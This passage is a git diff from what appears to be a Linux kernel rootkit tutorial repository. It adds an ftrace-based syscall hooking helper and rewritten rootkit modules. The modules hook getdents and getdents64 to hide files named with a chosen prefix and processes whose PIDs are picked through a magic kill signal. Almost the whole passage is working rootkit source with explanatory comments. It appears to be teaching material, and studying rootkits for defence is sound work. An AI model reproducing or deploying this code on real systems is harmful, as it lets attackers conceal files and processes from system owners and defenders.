+#define HOOK(_name, _hook, _orig) \ +{ \ + .name = SYSCALL_NAME(_name), \ + .function = (_hook), \ + .original = (_orig), \ +} + +/* We need to prevent recursive loops when hooking, otherwise the kernel will + * panic and hang. The options are to either detect recursion by looking at + * the function return address, or by jumping over the ftrace call. We use the + * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by + * setting it to 1. (Oridinarily ftrace provides it's own protections against + * recursion, but it relies on saving return registers in $rip. We will likely + * need the use of the $rip register in our hook, so we have to disable this + * protection and implement our own). + * */ +#define USE_FENTRY_OFFSET 0 +#if !USE_FENTRY_OFFSET +#pragma GCC optimize("-fno-optimize-sibling-calls") +#endif + +/* We pack all the information we need (name, hooking function, original function) + * into this struct. This makes is easier for setting up the hook and just passing + * the entire struct off to fh_install_hook() later on. + * */ +struct ftrace_hook { + const char *name; + void *function; + void *original; + + unsigned long address; + struct ftrace_ops ops; +}; + +/* Ftrace needs to know the address of the original function that we + * are going to hook. As before, we just use kallsyms_lookup_name() + * to find the address in kernel memory. + * */ +static int fh_resolve_hook_address(struct ftrace_hook *hook) +{ + hook->address = kallsyms_lookup_name(hook->name); + + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } + +#if USE_FENTRY_OFFSET + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; +#else + *((unsigned long*) hook->original) = hook->address; +#endif + + return 0; +} + +/* See comment below within fh_install_hook() */ +static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) +{ + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + +#if USE_FENTRY_OFFSET + regs->ip = (unsigned long) hook->function; +#else + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; +#endif +} + +/* Assuming we've already set hook->name, hook->function and hook->original, we + * can go ahead and install the hook with ftrace. This is done by setting the + * ops field of hook (see the comment below for more details), and then using + * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions + * provided by ftrace.h + * */ +int fh_install_hook(struct ftrace_hook *hook) +{ + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; + + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } + + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } + + return 0; +} + +/* Disabling our function hook is just a simple matter of calling the built-in + * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the + * opposite order to that in fh_install_hook()). + * */ +void fh_remove_hook(struct ftrace_hook *hook) +{ + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } +} + +/* To make it easier to hook multiple functions in one module, this provides + * a simple loop over an array of ftrace_hook struct + * */ +int fh_install_hooks(struct ftrace_hook *hooks, size_t count) +{ + int err; + size_t i; + + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; + +error: + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; +} + +void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) +{ + size_t i; + + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); +} diff --git a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c index bf4dbd9..c6a9180 100644 --- a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c +++ b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c @@ -4,152 +4,370 @@ #include #include #include +#include + +#include "ftrace_helper.h" #define PREFIX "boogaloo" MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); MODULE_DESCRIPTION("Hiding files that start with a certain prefix"); -MODULE_VERSION("0.01"); +MODULE_VERSION("0.02"); -static unsigned long * __sys_call_table; +/* After Kernel 4.17.0, the way that syscalls are handled changed + * to use the pt_regs struct instead of the more familar function + * prototype declaration. We have to check for this, and set a + * variable for later on */ +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif -typedef asmlinkage long (*orig_getdents64_t)(const struct pt_regs *); -orig_getdents64_t orig_getdents64; +/* We now have to check for the PTREGS_SYSCALL_STUBS flag and + * declare the orig_getdents64 and hook_getdents64 functions differently + * depending on the kernel version. This is the larget barrier to + * getting the rootkit to work on earlier kernel versions. The + * more modern way is to use the pt_regs struct. */ +#ifdef PTREGS_SYSCALL_STUBS +static asmlinkage long (*orig_getdents64)(const struct pt_regs *); +static asmlinkage long (*orig_getdents)(const struct pt_regs *); /* This is our hooked function for sys_getdents64 */ asmlinkage int hook_getdents64(const struct pt_regs *regs) { - /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */ - // int fd = regs->di; - struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; - // int count = regs->dx; + /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */ + // int fd = regs->di; + struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; + // int count = regs->dx; - /* We will need these intermediate structures for looping through the directory listing */ - struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; - unsigned long offset = 0; + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; - /* We first have to actually call the real sys_getdents64 syscall and save it so that we can - * examine it's contents to remove anything that is prefixed by PREFIX. - * We also allocate dir_entry with the same amount of memory as */ - int ret = orig_getdents64(regs); - dirent_ker = kzalloc(ret, GFP_KERNEL); + /* We first have to actually call the real sys_getdents64 syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by PREFIX. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents64(regs); + dirent_ker = kzalloc(ret, GFP_KERNEL); - if ( (ret <= 0) || (dirent_ker == NULL) ) - return ret; + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; - /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace - * dirent_ker is our copy of the returned dirent struct that we can play with */ - long error = copy_from_user(dirent_ker, dirent, ret); - if (error) - goto done; + /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; - /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ - while (offset < ret) - { - /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ - current_dir = (void *)dirent_ker + offset; + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; - /* Compare current_dir->d_name to PREFIX */ - if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0) - { - /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */ - if ( current_dir == dirent_ker ) - { - ret -= current_dir->d_reclen; - memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); - continue; - } - /* This is the crucial step: we add the length of the current directory to that of the - * previous one. This means that when the directory structure is looped over to print/search - * the contents, the current directory is subsumed into that of whatever preceeds it. */ - previous_dir->d_reclen += current_dir->d_reclen; - } - else - { - /* If we end up here, then we didn't find PREFIX in current_dir->d_name - * We set previous_dir to the current_dir before moving on and incrementing - * current_dir at the start of the loop */ - previous_dir = current_dir; - } + /* Compare current_dir->d_name to PREFIX */ + if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0) + { + /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find PREFIX in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } - /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole - * directory listing */ - offset += current_dir->d_reclen; - } + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } - /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. - * Note that dirent is already in the right place in memory to be referenced by the integer - * ret. */ - error = copy_to_user(dirent, dirent_ker, ret); - if (error) - goto done; + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; done: - /* Clean up and return whatever is left of the directory listing to the user */ - kfree(dirent_ker); - return ret; + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; } -/* The built in linux write_cr0() function stops us from modifying - * the WP bit, so we write our own instead */ -inline void cr0_write(unsigned long cr0) +/* This is our hook for sys_getdetdents */ +asmlinkage int hook_getdents(const struct pt_regs *regs) { - asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); + /* The linux_dirent struct got removed from the kernel headers so we have to + * declare it ourselves */ + struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[]; + }; + + /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */ + // int fd = regs->di; + struct linux_dirent *dirent = (struct linux_dirent *)regs->si; + // int count = regs->dx; + + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; + + /* We first have to actually call the real sys_getdents syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by PREFIX. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents(regs); + dirent_ker = kzalloc(ret, GFP_KERNEL); + + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; + + /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; + + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; + + /* Compare current_dir->d_name to PREFIX */ + if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0) + { + /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find PREFIX in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } + + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } + + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; + +done: + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; + +} +#else +static asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count); +static asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent *dirent, unsigned int count); + +static asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count) +{ + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; + + /* We first have to actually call the real sys_getdents64 syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by PREFIX. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents64(fd, dirent, count); + dirent_ker = kzalloc(ret, GFP_KERNEL); + + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; + + /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; + + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; + + /* Compare current_dir->d_name to PREFIX */ + if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0) + { + /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find PREFIX in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } + + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } + + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; + +done: + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; } -/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which - * determines whether read-only pages can be written to. We are modifying - * the syscall table, so we need to unset it first */ -static inline void protect_memory(void) +static asmlinkage int hook_getdents(unsigned int fd, struct linux_dirent *dirent, unsigned int count) { - unsigned long cr0 = read_cr0(); - set_bit(16, &cr0); - cr0_write(cr0); -} + /* This is an old structure that isn't included in the kernel headers anymore, so we + * have to declare it ourselves */ + struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[]; + }; + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; -static inline void unprotect_memory(void) -{ - unsigned long cr0 = read_cr0(); - clear_bit(16, &cr0); - cr0_write(cr0); + /* We first have to actually call the real sys_getdents syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by PREFIX. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents(fd, dirent, count); + dirent_ker = kzalloc(ret, GFP_KERNEL); + + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; + + /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; + + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; + + /* Compare current_dir->d_name to PREFIX */ + if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0) + { + /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find PREFIX in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } + + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } + + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; + +done: + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; } +#endif + +/* Declare the struct that ftrace needs to hook the syscall */ +static struct ftrace_hook hooks[] = { + HOOK("sys_getdents64", hook_getdents64, &orig_getdents64), + HOOK("sys_getdents", hook_getdents, &orig_getdents), +}; /* Module initialization function */ static int __init rootkit_init(void) { - /* Grab the syscall table */ - __sys_call_table = kallsyms_lookup_name("sys_call_table"); + /* Hook the syscall and print to the kernel buffer */ + int err; + err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); + if(err) + return err; - /* Grab the function pointer to the real sys_getdents64 syscall */ - orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64]; + printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); - printk(KERN_DEBUG "rootkit: getdents64 @ 0x%lx\n", orig_getdents64); - - unprotect_memory(); - - printk(KERN_INFO "rootkit: hooking getdents64 syscall\n"); - /* Patch the function pointer to sys_getdents64 with our hook instead */ - __sys_call_table[__NR_getdents64] = (unsigned long)hook_getdents64; - - protect_memory(); - - return 0; + return 0; } static void __exit rootkit_exit(void) { - unprotect_memory(); - - printk(KERN_INFO "rootkit: restoring getdents64 syscall\n"); - __sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64; - - protect_memory(); - - printk(KERN_INFO "rootkit: Unloaded :-(\n"); + /* Unhook and restore the syscall and print to the kernel buffer */ + fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); + printk(KERN_INFO "rootkit: Unloaded :-(\n"); } module_init(rootkit_init); diff --git a/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h b/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h new file mode 100644 index 0000000..f3a0171 --- /dev/null +++ b/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h @@ -0,0 +1,185 @@ +/* + * Helper library for ftrace hooking kernel functions + * Author: Harvey Phillips (xcellerator@gmx.com) + * License: GPL + * */ + +#include +#include +#include +#include + +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif + +/* x64 has to be special and require a different naming convention */ +#ifdef PTREGS_SYSCALL_STUBS +#define SYSCALL_NAME(name) ("__x64_" name) +#else +#define SYSCALL_NAME(name) (name) +#endif + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = SYSCALL_NAME(_name), \ + .function = (_hook), \ + .original = (_orig), \ +} + +/* We need to prevent recursive loops when hooking, otherwise the kernel will + * panic and hang. The options are to either detect recursion by looking at + * the function return address, or by jumping over the ftrace call. We use the + * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by + * setting it to 1. (Oridinarily ftrace provides it's own protections against + * recursion, but it relies on saving return registers in $rip. We will likely + * need the use of the $rip register in our hook, so we have to disable this + * protection and implement our own). + * */ +#define USE_FENTRY_OFFSET 0 +#if !USE_FENTRY_OFFSET +#pragma GCC optimize("-fno-optimize-sibling-calls") +#endif + +/* We pack all the information we need (name, hooking function, original function) + * into this struct. This makes is easier for setting up the hook and just passing + * the entire struct off to fh_install_hook() later on. + * */ +struct ftrace_hook { + const char *name; + void *function; + void *original; + + unsigned long address; + struct ftrace_ops ops; +}; + +/* Ftrace needs to know the address of the original function that we + * are going to hook. As before, we just use kallsyms_lookup_name() + * to find the address in kernel memory. + * */ +static int fh_resolve_hook_address(struct ftrace_hook *hook) +{ + hook->address = kallsyms_lookup_name(hook->name); + + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } + +#if USE_FENTRY_OFFSET + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; +#else + *((unsigned long*) hook->original) = hook->address; +#endif + + return 0; +} + +/* See comment below within fh_install_hook() */ +static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) +{ + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + +#if USE_FENTRY_OFFSET + regs->ip = (unsigned long) hook->function; +#else + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; +#endif +} + +/* Assuming we've already set hook->name, hook->function and hook->original, we + * can go ahead and install the hook with ftrace. This is done by setting the + * ops field of hook (see the comment below for more details), and then using + * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions + * provided by ftrace.h + * */ +int fh_install_hook(struct ftrace_hook *hook) +{ + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; + + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } + + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } + + return 0; +} + +/* Disabling our function hook is just a simple matter of calling the built-in + * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the + * opposite order to that in fh_install_hook()). + * */ +void fh_remove_hook(struct ftrace_hook *hook) +{ + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } +} + +/* To make it easier to hook multiple functions in one module, this provides + * a simple loop over an array of ftrace_hook struct + * */ +int fh_install_hooks(struct ftrace_hook *hooks, size_t count) +{ + int err; + size_t i; + + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; + +error: + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; +} + +void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) +{ + size_t i; + + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); +} diff --git a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c index b143878..c039bb6 100644 --- a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c +++ b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c @@ -4,159 +4,406 @@ #include #include #include -#include +#include + +#include "ftrace_helper.h" MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); -MODULE_DESCRIPTION("Hiding processes"); -MODULE_VERSION("0.01"); +MODULE_DESCRIPTION("Hiding files that start with a certain prefix"); +MODULE_VERSION("0.02"); -static unsigned long * __sys_call_table; - -typedef asmlinkage long (*orig_getdents64_t)(const struct pt_regs *); -typedef asmlinkage long (*orig_kill_t)(const struct pt_regs *); -orig_getdents64_t orig_getdents64; -orig_kill_t orig_kill; +/* After Kernel 4.17.0, the way that syscalls are handled changed + * to use the pt_regs struct instead of the more familar function + * prototype declaration. We have to check for this, and set a + * variable for later on */ +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif /* Global variable to store the pid that we are going to hide */ char hide_pid[NAME_MAX]; -/* This is our hooked function for sys_kill */ -asmlinkage int hook_kill(const struct pt_regs *regs) -{ - pid_t pid = regs->di; - int sig = regs->si; - - if ( sig == 64 ) - { - /* If we receive the magic signal, then we just sprintf the pid - * from the intercepted arguments into the hide_pid string */ - printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid); - sprintf(hide_pid, "%d", pid); - return 0; - } - - return orig_kill(regs); -} +/* We now have to check for the PTREGS_SYSCALL_STUBS flag and + * declare the orig_getdents64 and hook_getdents64 functions differently + * depending on the kernel version. This is the larget barrier to + * getting the rootkit to work on earlier kernel versions. The + * more modern way is to use the pt_regs struct. */ +#ifdef PTREGS_SYSCALL_STUBS +static asmlinkage long (*orig_getdents64)(const struct pt_regs *); +static asmlinkage long (*orig_getdents)(const struct pt_regs *); +static asmlinkage long (*orig_kill)(const struct pt_regs *); /* This is our hooked function for sys_getdents64 */ asmlinkage int hook_getdents64(const struct pt_regs *regs) { - // int fd = regs->di; - struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; - // int count = regs->dx; + /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */ + // int fd = regs->di; + struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; + // int count = regs->dx; - struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; - unsigned long offset = 0; + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; - int ret = orig_getdents64(regs); - dirent_ker = kzalloc(ret, GFP_KERNEL); + /* We first have to actually call the real sys_getdents64 syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by hide_pid. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents64(regs); + dirent_ker = kzalloc(ret, GFP_KERNEL); - if ( (ret <= 0) || (dirent_ker == NULL) ) - return ret; + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; - long error = copy_from_user(dirent_ker, dirent, ret); - if (error) - goto done; + /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; - while (offset < ret) - { - current_dir = (void *)dirent_ker + offset; + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; - /* We also have to check that the hide_pid string isn't empty! */ - if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0 ) ) - { - printk(KERN_INFO "rootkit: hiding directory %s\n", hide_pid); - if ( current_dir == dirent_ker ) - { - ret -= current_dir->d_reclen; - memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); - continue; - } - previous_dir->d_reclen += current_dir->d_reclen; - } - else - { - previous_dir = current_dir; - } + /* Compare current_dir->d_name to hide_pid - we also have to check that hide_pid isn't empty! */ + if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) ) + { + /* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find hide_pid in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } - offset += current_dir->d_reclen; - } + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } - error = copy_to_user(dirent, dirent_ker, ret); - if (error) - goto done; + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; done: - kfree(dirent_ker); - return ret; + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; } -/* The built in linux write_cr0() function stops us from modifying - * the WP bit, so we write our own instead */ -inline void cr0_write(unsigned long cr0) +/* This is our hook for sys_getdetdents */ +asmlinkage int hook_getdents(const struct pt_regs *regs) { - 